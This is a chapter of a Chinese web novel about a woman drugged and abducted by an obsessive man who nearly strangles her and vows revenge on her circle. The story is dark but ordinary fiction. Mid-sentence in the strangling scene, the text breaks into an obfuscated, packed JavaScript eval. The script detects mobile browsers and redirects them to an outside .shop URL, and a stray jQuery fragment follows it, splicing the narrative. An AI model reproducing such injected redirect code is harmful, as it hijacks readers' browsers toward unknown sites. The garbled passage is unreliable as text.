27. 第 27 章

作品:《白莲花骗婚后火葬场

    将施母安置在客栈后,姜昙和施茂林相携而去。


    紫珠知道今天是大日子,默默地说:夫人,姑娘找到如意郎君了。


    见他们气氛正好,紫珠让车夫赶车快一些,在远处等姜昙走过来。


    姜昙沉默着走在施茂林身边。


    夜风吹拂,那边时不时有即将散尽的香味吹来,再过一刻钟,这户味道彻底无影无踪了。


    姜昙知道,自己不该怀疑他。


    “茂林,你今日迟迟不来,是有什么事耽搁了吗?”


    施茂林身形有一刻僵硬,随即笑了:“没有啊,只是武馆到郊外去练拳,我要赶回来,花费的时间长了些。对了——”


    施茂林从胸口掏出一盒胭脂:“你是不是闻到这股香味了?瞧,烟霞坊新进的一批胭脂膏子,这一盒最贵。你爱抹脖子,以后就用这个吧。”


    姜昙下意识摸了摸脖颈。


    这几日疏忽,想不到施茂林竟能看出来。


    是她多心了。


    “嗯。”姜昙笑着收下。


    施茂林落后一步,姜昙想起要问他如何安排行程,刚转身,却发现施茂林不见了。


    附近是一处漆黑的深巷。


    “茂林?”


    姜昙对巷子深处唤了一声,没有回应。


    巷子黑洞洞的,犹如巨兽的大口,里面传来一声闷哼,仅一声就停止。像是没捂紧的盖子漏了股风,迅速被人拧紧。


    “茂林?你在里面吗?”


    依旧无人应。


    姜昙弯腰从腿弯取出随身的匕首,藏在袖子里,轻声往里走去。


    踏进黑暗的第五步,姜昙察觉背后有什么气息,顿住脚步,待那人靠近,猛然向后刺去。


    刺中了!


    不对,不止一两个人!她没有还手之力。


    短短一瞬,姜昙心中闪过这个想法,同时迅速往巷口跑,可是已然来不及。


    脚下有什么绊了她一下,姜昙摔在地上。未等她反应过来,绳子已绕过她的手腕,结结实实地将她缚住。


    六到八人,其中有一个高手。


    眼睛被黑布蒙住。


    姜昙察觉到有一群人看着自己。


    她扬声道:“诸位朋友,在下与诸位无冤无仇,诸位怕是抓错了人。我是扬州陆府的客人,若不回去,陆府会派人来找我。而且,扬州府入夜有巡捕,这个时间此巷子的四处都有巡捕游走。我劝诸位快快离去,这件事可以当未发生过。”


    黑暗的巷子中,只有斜照的一缕月光。


    月光之下,静立着一人。


    分明闷声不吭,只冷眼看着这一切,却有种山雨欲来的架势,让人住摸不透他的心思。


    黑衣人询问地看向陆青檐,他背光站着,看不清脸色。


    黑衣人只好继续说:“没找错,我们是姜大人的仇人。抓不到他,于是抓你。”


    姜昙仔细听着,此人的音色刻意压低,像是有经验的。


    姜昙仔细回想着,姜清源招惹的是锦衣卫,这些人就算不是锦衣卫,也与他们有关系。


    思索一瞬,姜昙说道:“我与姜大人早就形同陌路,三年来我一直住在山上,为祖母守孝。诸位尽可查证,他做的事我一概不知。你们要找,应该去找盐城姜府的大夫人……”


    姜昙自以为说的很有条理。


    传闻中,锦衣卫虽然睚眦必报,却也恩怨分明,尤其在这一代指挥使在位期间,少有滥杀无辜之事。


    可她不知道,抓她的并非锦衣卫。


    陆青檐死死盯着她。


    看着她滔滔不绝地辩解,看着她不经意地侧耳听动静,仔细分析着他们的身份。


    看似是病怏怏的弱女子,实则在腿上绑了匕首,未婚夫骤然失踪,她竟然独身进巷子来。


    不愧是他。


    陆青檐忍不住向前几步。


    姜昙忽而顿住,她听到了一阵脚步声,缓缓接近自己。


    周围的人呼吸压低了些,此人应是首领。


    “首领大人……”


    姜昙正要开口解释什么,忽然有掌风劈在肩上,口鼻间捂上一片布巾,那是迷药的味道。


    此人的手段可谓谨慎。


    姜昙晕了过去。


    .


    陆青檐坐在椅子上。


    夜幕降临,熟悉的头痛来袭。


    陆青檐一点也不想喝酒,反而越来越清醒。


    他摩挲着手上的佛珠,因为久被人盘弄,佛珠参差不齐的边缘已然变得圆润。


    这三年来,每次他痛恨一个人不能自已时,就靠这串佛珠撑过去。


    旁人说他有佛性,殊不知午夜梦回,他手中数着佛珠,抬头看着佛堂的菩萨,都是姜昙的模样!


    他数啊数,数啊数,不想数了三年,手中的佛珠竟是假的!


    真正的佛珠在这里——


    陆青檐来到地上沉睡的人身边,摸了摸姜昙的头骨。


    真正的佛珠在这呢。


    他一一抚过姜昙的眉骨,鼻骨,沿着脖颈往下,按到了两处温热的柔软。


    碍眼。


    “来人。”陆青檐说:“叫那对卖唱父女来。”


    .


    婉儿微微挡在父亲的身前,每当他爹落下一笔,那位贵公子的脸色就阴沉一分。


    吓得她爹手都在抖。


    婉儿起初也吓了一跳,进门就见两具尸体,哆哆嗦嗦地下手,却发现尸体是活的。


    可尽管如此,他们的行为看起来还是像在给亡人入殓。


    而那边的贵公子,虽然还活着,却比地上的人更像死人,幽魂一般坐着。


    老汉的工作做完,率先出去,轮到了婉儿。


    见贵公子没有回避的意思,婉儿只好继续动作。


    将这名女子的外衣脱下,只留下一件抹胸即可。胸口用布裹得平整,细腰也用布遮掩住曲线,随后穿好准备好的男子衣服。


    又一个“姜昙”。


    完成之后,婉儿退出去,要见那贵公子来到“姜昙”身边,低下了头,双颊一红,不敢再看了。


    .


    陆青檐仔细看着姜昙。


    眉眼长开了些,与记忆中十七岁的姜昙慢慢重合。


    “果然是你啊。”陆青檐放声笑着:“我找了你这么久,翻遍了整个吴江,原来你在这!”


    原本,听到丁银翠的消息,他打算大发慈悲,放了陆府这个寄人篱下的孤女。


    毕竟,吴江的姜昙更重要。


    可没想到,这两个人竟然是同一个人!


    难怪从第一次见面,他就对她腰间的杜衡香印象深刻。


    现在想来,在吴江时,她就时常挂着这种药囊了。


    他早该发现是她。


    陆青檐面色扭曲着:“姜昙,原来你在这!原来你不喜欢惩恶扬善了,原来你变成女人了!我说我怎么找不到你!”


    杀了她!杀了她!!!


    恨之入骨的人就在眼前,只要一伸手,就能掐死她。


    陆青檐双手握住姜昙的脖颈,和梦中的触感不一样,掌中温软细


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726286|142961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    腻,脉搏有力地一下一下挣扎着。


    他双手用力,姜昙的脸上出现了和梦中一样的痛苦神色。


    姜昙的脖颈收紧,狰狞的疤痕凸起,像一条悚然欲活过来的蜈蚣,刺得陆青檐手掌疼。


    “不,不能这么便宜了你。”


    陆青檐骤然松手。


    姜昙胸口剧烈起伏,挣扎着想要睁开眼睛,终究抵抗不住药力,沉沉睡去。


    陆青檐踢了一脚施茂林的身体。


    他想起姜昙屡次三番说起的愿望——我与未婚夫,只想做一对普通人。


    “我过得如此痛苦,你却过得如此舒坦。这世上怎么能有如此不公平的事?”


    陆青檐讽刺地笑了一声:“想过普通人的日子,哪有那么容易!”


    陆青檐说:“姜昙,你等着。除你之外,你身边的每一个人,我都不会让他们好过。”


    .


    姜昙头痛欲裂。


    紫珠推门而入,外面已是白天:“姑娘,昨日你何时回来的,怎么不告诉我一声,睡得那样沉。”


    “昨日我……”


    姜昙回想着昨日发生之事,她分明昏过去了,是怎么回来的?


    手心里似乎有个纸团,姜昙将纸团摊开,那上面写着——


    事已查明,与尔无关。


    姜昙忿忿把纸团揉烂了。


    看来锦衣卫抓错人了,不过就凭一句纸条就将他们打发了?那她受到的袭击算什么!


    不过,再愤怒也只能按下,锦衣卫毕竟号称朝廷鹰犬,不招惹为妙。


    姜昙问:“茂林可有来过?昨日要问他行程打算,决定哪一日离开呢?”


    紫珠摇头。


    那就是还要在陆府待几日。


    姜昙忽然想起陆青檐来,问紫珠说:“陆少爷可在府中?近几日都未见他。”


    紫珠说:“陆少爷似乎有事出了远门,听说一时半会回不来呢。”


    那就好。


    不要再撞上就好了。


    脖颈有些刺痛,姜昙摸到那条疤痕,莫名心慌。


    思来想去,她觉得不能留在陆府。深吸一口气,她决定:“我们收拾东西,去外面住客栈去。”


    她与紫珠挑了一家离扬州府衙最近的客栈住下,暂且交了两日的房钱。


    坐在客栈的床上,姜昙的心才安定下来。


    她梳理着自己的嫁妆单子,添添改改,有些首饰在婚后带出去太过招摇,不如变卖成银票存起来,有事可应急。


    晌午用过饭,施茂林的口信儿跟着递过来——


    寒山寺相见。


    姜昙之前提过一句,没想到施茂林竟记得。


    寒山寺是扬州有名的佛寺,扬州百姓惯常往寺里求学子前程之事。此外,山上斋饭和明月潭最为出名,若去一趟寒山寺,必定要过夜的。


    姜昙于是准备一些衣物,带上紫珠在寒山寺等候。


    可没想到,施茂林来得更早。


    他背对姜昙站着,似乎在低头看石缝中一株坚韧生长的野草。


    姜昙蹑手蹑脚地走过去,跟着他看了会儿,蓦地伸手捂住了他的眼睛。


    他们鲜少做这样亲密的举动,施茂林一定会吓住。


    姜昙想到他的反应,险些笑出声。


    “猜猜我是谁?”


    施茂林想转身,姜昙按紧了手掌,服帖地盖住他的鼻梁和肌肤,触手温热。


    ……他不是施茂林!


    “嫂嫂。”背对她的人伸手,捏住她的手腕:“你认错人了。”